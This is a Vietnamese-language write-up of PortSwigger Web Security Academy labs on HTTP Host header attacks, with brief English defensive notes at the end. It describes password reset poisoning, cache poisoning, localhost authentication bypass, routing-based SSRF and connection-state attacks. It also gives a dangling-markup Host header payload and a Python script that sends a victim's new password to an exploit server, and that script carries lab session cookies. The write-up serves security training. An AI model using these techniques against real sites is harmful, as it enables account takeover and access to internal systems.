# Portswigger HTTP Host header attacks 🤢 <style>body {text-align: justify}</style> Hi, dưới đây là writeup của 6/6 bài lab về tấn công [HTTP Host header](https://portswigger.net/web-security/host-header) mình đã solve trong quá trình ôn tập thi chứng chỉ của Portswigger. ### 1. Basic password reset poisoning ##### Description > This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account. > > You can log in to your own account using the following credentials: `wiener:peter`. Any emails sent to this account can be read via the email client on the exploit server. ##### Writeup Ứng dụng có chức năng reset password bằng username. ![](https://i.imgur.com/kUFCS67.png) Sau khi submit form thì có đường link gửi về email kèm theo token. Để ý có vẻ đường link được cấu tạo chứa Host header. ![](https://i.imgur.com/a4ZodyI.png) Ta sẽ ghi đè Host header thành exploit-server và username nạn nhân là carlos. ![](https://i.imgur.com/KqONW0X.png) Lúc này carlos nhận được mail và click vào link. Link đó có domain chính là exploit-server của ta. Kiểm tra log ta lấy được token reset của carlos. ![](https://i.imgur.com/boiEQa3.png) Truy cập đường dẫn reset với token, ta thay đổi mật khẩu của carlos. ![](https://i.imgur.com/Tx9cQoe.png) Đăng nhập với tài khoản carlos mới và ta solve challenge. ![](https://i.imgur.com/lghG4J0.png) ### 2. Web cache poisoning via ambiguous requests ##### Description > This lab is vulnerable to web cache poisoning due to discrepancies in how the cache and the back-end application handle ambiguous requests. An unsuspecting user regularly visits the site's home page. > > To solve the lab, poison the cache so the home page executes `alert(document.cookie)` in the victim's browser. ##### Writeup Truy cập trang chủ, phát hiện nó support cache. Sử dụng cache buster `?cb=1` và thêm 1 header Host bất kì, ta thấy nó reflect ở src file js `/resources/js/tracking.js`. Gửi cho đến khi `X-Cache: hit`. ![](https://i.imgur.com/7zONOzG.png) Xóa Host vừa thêm và giữ nguyên cache buster, ta thấy vẫn nhận được cached response ở trên. ![](https://i.imgur.com/Fc402sg.png) Tạo file `/resources/js/tracking.js` trên exploit-server chứa `alert(document.cookie)`. ![](https://i.imgur.com/dioct1V.png) Bây giờ chỉ việc xóa cache buster và chèn exploit-server vào trường Host. Gửi request cho đến khi `X-Cache:hit`. ![](https://i.imgur.com/ywLwqeH.png) Ta solve được challenge do victim dính alert. ![](https://i.imgur.com/YWeGtoB.png) ### 3. Host header authentication bypass ##### Description > This lab makes an assumption about the privilege level of the user based on the HTTP Host header. > > To solve the lab, access the admin panel and delete Carlos's account. ##### Writeup Trang `/admin` chỉ cho local users truy cập. ![](https://i.imgur.com/UxdZTBb.png) Thay Host bằng `localhost`, ta thấy đã truy cập được `/admin`. ![](https://i.imgur.com/BrRXtOF.png) Xóa user carlos. ![](https://i.imgur.com/RkoNdOl.png) Ta solve được challenge. ![](https://i.imgur.com/nxTVgvV.png) ### 4. Routing-based SSRF ##### Description > This lab is vulnerable to routing-based SSRF via the Host header. You can exploit this to access an insecure intranet admin panel located on an internal IP address. > > To solve the lab, access the internal admin panel located in the 192.168.0.0/24 range, then delete Carlos. ##### Writeup Thay trường Host thành collaborator domain ta thấy đã có request gửi đến collaborator &rarr; Có thể bị SSRF. ![](https://i.imgur.com/3ZVyrsK.png) Vì dải mạng private của server nằm trong `192.168.0.0/24` nên ta sẽ bruteforce qua header Host. Nhớ bỏ tick `Update Host header to match target`. Wordlist là từ 0-255. ![](https://i.imgur.com/fPVpWbt.png) Kết quả thấy một internal IP `192.168.0.30` trả về 302 về trang admin. ![](https://i.imgur.com/Wf1Kcvu.png) Truy cập trang admin của Host `192.168.0.30`, ta thấy có form delete user. ![](https://i.imgur.com/Idaxoel.png) Thực hiện POST request delete user. Vì có csrf token nên mình cần set thêm session cookie mà ở response trước server đã set cho mình. Username cần xóa là carlos. ![](https://i.imgur.com/IpBgozO.png) Xóa thành công và ta solve challenge. ![](https://i.imgur.com/GShsjdu.png) ### 5. SSRF via flawed request parsing ##### Description > This lab is vulnerable to routing-based SSRF due to its flawed parsing of the request's intended host. You can exploit this to access an insecure intranet admin panel located at an internal IP address. > > To solve the lab, access the internal admin panel located in the 192.168.0.0/24 range, then delete Carlos. ##### Writeup Lần này sử dụng Collaborator domain tại Host header thì sẽ bị Forbidden. ![](https://i.imgur.com/G7lX50O.png) Tuy nhiên nếu gửi đường dẫn tuyệt đối trên request line và thêm Collaborator domain tại Host header, ta lại SSRF thành công. (Chú ý: phải sử dụng `https:://` mới gửi được request trong burpsuite) ![](https://i.imgur.com/qau5zSm.png) Tương tự bài trên, ta sẽ đi bruteforce tìm internal IP cần tìm. Kết quả trả về `192.168.0.84`. ![](https://i.imgur.com/VVZS9gF.png) Truy cập trang admin có form delete user. ![](https://i.imgur.com/sYqkJVs.png) Xóa user carlos với csrf token và session cookie đi kèm. ![](https://i.imgur.com/Xg1tyMF.png) Xóa thành công và ta solve challenge. ![](https://i.imgur.com/c4FyYc5.png) ### 6. Host validation bypass via connection state attack ##### Description > This lab is vulnerable to routing-based SSRF via the Host header. Although the front-end server may initially appear to perform robust validation of the Host header, it makes assumptions about all requests on a connection based on the first request it receives. > > To solve the lab, exploit this behavior to access an internal admin panel located at `192.168.0.1/admin`, then delete the user `carlos`. ##### Writeup Gửi 1 request thông thường đến trang chủ. Dựa theo đề bài, server sẽ xử lí các request cùng HTTP connection sau dựa vào Host header của request đầu tiên, chính là request vừa thực hiện. ![](https://i.imgur.com/7FVfp7e.png) Gửi collaborator domain tại Host header ta nhận thấy Routing-based SSRF. ![](https://i.imgur.com/osPvvpp.png) Tương tự các bài trên, ta sẽ truy cập vào `192.168.0.1/admin` để xóa user carlos qua form. ![](https://i.imgur.com/imd3sAs.png) ![](https://i.imgur.com/ZCeAWRV.png) Ta solve challenge. ![](https://i.imgur.com/3JBKPrX.png) ### 7. Password reset poisoning via dangling markup ##### Description > This lab is vulnerable to password reset poisoning via dangling markup. To solve the lab, log in to Carlos's account. > > You can log in to your own account using the following credentials: `wiener:peter`. Any emails sent to this account can be read via the email client on the exploit server. ##### Writeup Lần này reset password, server trả new password về mail luôn chứ không phải link nữa. ![](https://i.imgur.com/NUkivba.png) Đoạn password đó được sanitized bởi DomPurify. ![](https://i.imgur.com/26z8VWp.png) Tuy nhiên ở chức năng `View raw` email thì không bị sanitized. ![](https://i.imgur.com/DSIluUr.png) Mặt khác khi thay đổi Host header thì bị báo `Invalid host` ![](https://i.imgur.com/tdeXXJA.png) Tuy nhiên khi thêm port bất kì dạng chuỗi hoặc số thì thành công. ![](https://i.imgur.com/Vo9AbQ6.png) View raw email trả về thấy host được thêm vào message. ![](https://i.imgur.com/LZcmTRF.png) &rarr; Ta sẽ sử dụng dangling markup injection để chiếm password nhờ vào chức năng `View raw` ở trên với payload sau: ``` Host: YOUR-LAB-ID.web-security-academy.net:'<a href="//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/? ``` Do burpsuite gửi lỗi nên gửi bằng python. ```python import requests session = requests.session() burp0_url = "https://0ac2004b046be64bc3f8fbb20043003f.web-security-academy.net:443/forgot-password" burp0_cookies = {"_lab": "46%7cMCwCFEtC9m9eFRYqPvV8mpHAyAQ04gDlAhRVXfp9Z2QNKgIdy%2fg2hJZypncVDVHTaiwdLBimhThUUFjV03CGVXDDjXqeHk7%2fzusXhHzLueUcA6byLyUvV%2fs6GpO%2bp3qGSlMhHYdZUOKsPnX8bKWPTkK7FvOFStUvOMS5H5q3bn7llbA%3d", "session": "y9K3FwlrcShFRCnE7aFgA8X1ds5z0YBd"} burp0_headers = {"Host": '0ac2004b046be64bc3f8fbb20043003f.web-security-academy.net:\'<a href="//exploit-0aa100f20449e643c32afa8c014000cb.exploit-server.net/?'} burp0_data = {"csrf": "VIyXoZllvVfUpInSeNOBPHmGMLSoaqWe", "username": "carlos"} session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) ``` Ta thấy có log chứa password. ![](https://i.imgur.com/5yhNAkE.png) Đăng nhập bằng tài khoản carlos, ta solve challenge. ![](https://i.imgur.com/Oy14vfg.png) --- ## Notes *The HTTP Host header* specifies the domain name that the client wants to access. - *Virtual hosting*: a single web server hosts multiple websites or applications - *Routing traffic via an intermediary*: reverse proxy, load balancer **Detect** - Step 1: Supply an arbitrary Host header - **Countermeasures** - Validate Host header - Whitelist of permitted domains and rejecting or redirecting any requests for unrecognized hosts - Block `X-Forwarded-Host`, `X-Host`, `X-Forwarded-Server`, `X-HTTP-Host-Override`, `Forwarded` - Avoid hosting internal-only websites and applications on the same server as public-facing content ###### tags: `portswigger`, `host-header`, `advanced`